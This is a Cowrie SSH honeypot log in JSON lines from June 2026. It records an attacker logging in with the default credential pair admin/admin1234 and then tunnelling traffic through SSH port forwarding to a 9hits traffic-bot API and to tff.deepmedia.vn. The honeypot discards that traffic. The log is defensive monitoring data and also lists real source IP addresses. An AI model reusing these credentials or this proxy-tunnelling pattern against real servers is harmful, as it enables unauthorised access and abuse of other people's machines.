{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:32.341907Z","src_ip":"123.27.168.40","session":"24f4d500241e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:33.690682Z","src_ip":"123.27.168.40","session":"24f4d500241e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":65352,"dst_ip":"159.203.135.109","dst_port":22,"session":"694039215a09","protocol":"ssh","message":"New connection: 91.92.40.36:65352 (159.203.135.109:22) [session: 694039215a09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:34.136227Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:34.206353Z","session":"24f4d500241e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:34.395599Z","session":"24f4d500241e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:34.456081Z","src_ip":"123.27.168.40","session":"24f4d500241e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1176\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=MnQ2dVAvT1N%2Bd09WQVpwPg%3D%3DQbP%2FFRlrbmFGnWW%2BX88OH3U%2FooAhYLf8DwEw%2FAPuC8o8OXLP0cH%2BBn%2BVdc7aDCL6sVM45VmAN0WABKse6UUgkzBMztUYItKg0qET6BauNsGJOq162zQy8F7t75KCMqGQfPRLKBGeD1%2FUyz%2BbQuzZypgD3Q5j279UcLA3HHF5Xuqp2cBl%2BTheQQj8dSroM94GGsy%2F1gMIaZ93F7AxMH97tss5ZH873m1GQDOHyQYV%2B6y7phva%2F596Ytjwe2hr7oa9JGkN1%2BN6yjidoo2p%2FkRHi7Xi4ndCIha60axcZCGopA%2FAA1U694xjcY0EndiOJ%2F28%2Be72CA8RMSXPtI6BFpOzvhIXaQkGjzStUEN1l8FxCYoEzsdAp8QSMHm6jXM3gVKXmGT5yAYi56Qx0XXlGyLbC0Q%2BAk%2BV6QC8N27xbg8uBFjj%2Bc4EunsFXjz7085hx5XpHezGaDX00KSiMFuFrP8aKPLG2KJ5yPWFBJf2mIi1AqsZstM78hvQ5GSw2H0FALly87UVXybIXuluOgI37A34ne63D5Oc4U5tis5bAN3ogOEnF3Rurcws90vSveVDNR%2FfPIAAw5aU49oAajbbA1hol4eX%2BU2zcsW4jKwOXd7I7UNmKjPHlrcqsobbRGbdYsb6q7oN4wkVk64qxcxr9Sg1IF6aXN7oPK9PPMvlZ3ZgFTJ4%2FxHFDFzPc%2BjkVCUrOTYEYe4EhHPv45wQXsOHSap9wICV%2Fou0CF2Kn0cgyP8yLUe35VKY%2Fz%2BtZGg%2FmuWguwmGWLZv3cMnTcmYkmUl%2Bk24S30QVzgEbwc7NeOHF9UBt3yeF9uwmn1smJ3X9AoG9sSOvWwb3szNp0vkgqp0tZQfjczvEV%2BY1tsxAO0EQP6JjooXfG9nXNX642%2FoHzjvhZdyX9%2BQnnt73A57WKl%2FmyA4%2FN6K5R8VXwhyQ0k8s%2FHm8oZASuI4RaqxnglkIufCRtkAF%2BeK7OKxqbb5aFA9rqMoH9KoDH9UARIPfztiUZrbzQICJoUEBf6S2JQFZZbNxhOXizM6gBGSUl0D9jh8ID%2BEUtR4lY98ggvHIlaN1Lt5kQ8%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1176\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=MnQ2dVAvT1N%2Bd09WQVpwPg%3D%3DQbP%2FFRlrbmFGnWW%2BX88OH3U%2FooAhYLf8DwEw%2FAPuC8o8OXLP0cH%2BBn%2BVdc7aDCL6sVM45VmAN0WABKse6UUgkzBMztUYItKg0qET6BauNsGJOq162zQy8F7t75KCMqGQfPRLKBGeD1%2FUyz%2BbQuzZypgD3Q5j279UcLA3HHF5Xuqp2cBl%2BTheQQj8dSroM94GGsy%2F1gMIaZ93F7AxMH97tss5ZH873m1GQDOHyQYV%2B6y7phva%2F596Ytjwe2hr7oa9JGkN1%2BN6yjidoo2p%2FkRHi7Xi4ndCIha60axcZCGopA%2FAA1U694xjcY0EndiOJ%2F28%2Be72CA8RMSXPtI6BFpOzvhIXaQkGjzStUEN1l8FxCYoEzsdAp8QSMHm6jXM3gVKXmGT5yAYi56Qx0XXlGyLbC0Q%2BAk%2BV6QC8N27xbg8uBFjj%2Bc4EunsFXjz7085hx5XpHezGaDX00KSiMFuFrP8aKPLG2KJ5yPWFBJf2mIi1AqsZstM78hvQ5GSw2H0FALly87UVXybIXuluOgI37A34ne63D5Oc4U5tis5bAN3ogOEnF3Rurcws90vSveVDNR%2FfPIAAw5aU49oAajbbA1hol4eX%2BU2zcsW4jKwOXd7I7UNmKjPHlrcqsobbRGbdYsb6q7oN4wkVk64qxcxr9Sg1IF6aXN7oPK9PPMvlZ3ZgFTJ4%2FxHFDFzPc%2BjkVCUrOTYEYe4EhHPv45wQXsOHSap9wICV%2Fou0CF2Kn0cgyP8yLUe35VKY%2Fz%2BtZGg%2FmuWguwmGWLZv3cMnTcmYkmUl%2Bk24S30QVzgEbwc7NeOHF9UBt3yeF9uwmn1smJ3X9AoG9sSOvWwb3szNp0vkgqp0tZQfjczvEV%2BY1tsxAO0EQP6JjooXfG9nXNX642%2FoHzjvhZdyX9%2BQnnt73A57WKl%2FmyA4%2FN6K5R8VXwhyQ0k8s%2FHm8oZASuI4RaqxnglkIufCRtkAF%2BeK7OKxqbb5aFA9rqMoH9KoDH9UARIPfztiUZrbzQICJoUEBf6S2JQFZZbNxhOXizM6gBGSUl0D9jh8ID%2BEUtR4lY98ggvHIlaN1Lt5kQ8%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:34.459308Z","src_ip":"123.27.168.40","session":"24f4d500241e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:34.696281Z","src_ip":"123.27.168.40","session":"24f4d500241e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x89<\\t\\xea\\xa2x\\x12\\xd3\\x16\\r\\x8d@\\x1f\\xf9\\x00\\n\\x10%4\\xeb\\xe3\\x9bV\\x17\\xa0\\xed\\x8eQ\\xeb\\x87\\xfe\\xcb \\x1d\\x8d\\xde\\x9e\\xa6z\\xb2\\x87\\x83\\xad\\x1b\\x0c\\xc3\\xe7\\x0f\\x86\\x95\\x11X\\x10\\x96\\x83O-~\\xf3\\x998\\xffi\\xb6\\x8f\\x00 \\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 )\\xea\\x80\\x9bw\\xb0\\x8b\\xaf\\xacKF\\x91\\xfc\\x1d\\xb7\\xb9q\\xba\\xea\\x15i@R\\xfdeNW\\x1d.;Ox\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x89<\\t\\xea\\xa2x\\x12\\xd3\\x16\\r\\x8d@\\x1f\\xf9\\x00\\n\\x10%4\\xeb\\xe3\\x9bV\\x17\\xa0\\xed\\x8eQ\\xeb\\x87\\xfe\\xcb \\x1d\\x8d\\xde\\x9e\\xa6z\\xb2\\x87\\x83\\xad\\x1b\\x0c\\xc3\\xe7\\x0f\\x86\\x95\\x11X\\x10\\x96\\x83O-~\\xf3\\x998\\xffi\\xb6\\x8f\\x00 \\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 )\\xea\\x80\\x9bw\\xb0\\x8b\\xaf\\xacKF\\x91\\xfc\\x1d\\xb7\\xb9q\\xba\\xea\\x15i@R\\xfdeNW\\x1d.;Ox\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:34.699723Z","src_ip":"123.27.168.40","session":"24f4d500241e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:34.827403Z","src_ip":"91.92.40.36","session":"694039215a09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:34.830870Z","src_ip":"91.92.40.36","session":"694039215a09","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:35.177407Z","session":"24f4d500241e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:35.422159Z","src_ip":"123.27.168.40","session":"24f4d500241e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x035\\xa0a;2\\xaa\\xcbk<\\xab\\xa7\\xc3\\xee\\x9e\\xdf$`ue\\xe0\\x06\\x00\\x16\\xe7\\xd5\\xb9\\x9a\"\\xc1\\x04\\x8e\\xa0 \\xfeR}0\\x87\\x83\\x83\\xac\\xbe\\xf5\\x19\\xe3\\x17\\xd9\\x1c\\xce\\xa4N\\xee\\xddmC7\\x8d1w\\x10<\\xf9dOw\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 *N\\xba\\xbf\\x0f\\x8e\\xe5* \\x95;\\xb2>\\x1c|\\xc5\\\\=W\\xdb\\xf8\\xdb\\xc1+]6\\x1e\\x0c\\xdb\\xa8.\\x1a\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x035\\xa0a;2\\xaa\\xcbk<\\xab\\xa7\\xc3\\xee\\x9e\\xdf$`ue\\xe0\\x06\\x00\\x16\\xe7\\xd5\\xb9\\x9a\"\\xc1\\x04\\x8e\\xa0 \\xfeR}0\\x87\\x83\\x83\\xac\\xbe\\xf5\\x19\\xe3\\x17\\xd9\\x1c\\xce\\xa4N\\xee\\xddmC7\\x8d1w\\x10<\\xf9dOw\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 *N\\xba\\xbf\\x0f\\x8e\\xe5* \\x95;\\xb2>\\x1c|\\xc5\\\\=W\\xdb\\xf8\\xdb\\xc1+]6\\x1e\\x0c\\xdb\\xa8.\\x1a\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:35.425272Z","src_ip":"123.27.168.40","session":"24f4d500241e","protocol":"ssh"}
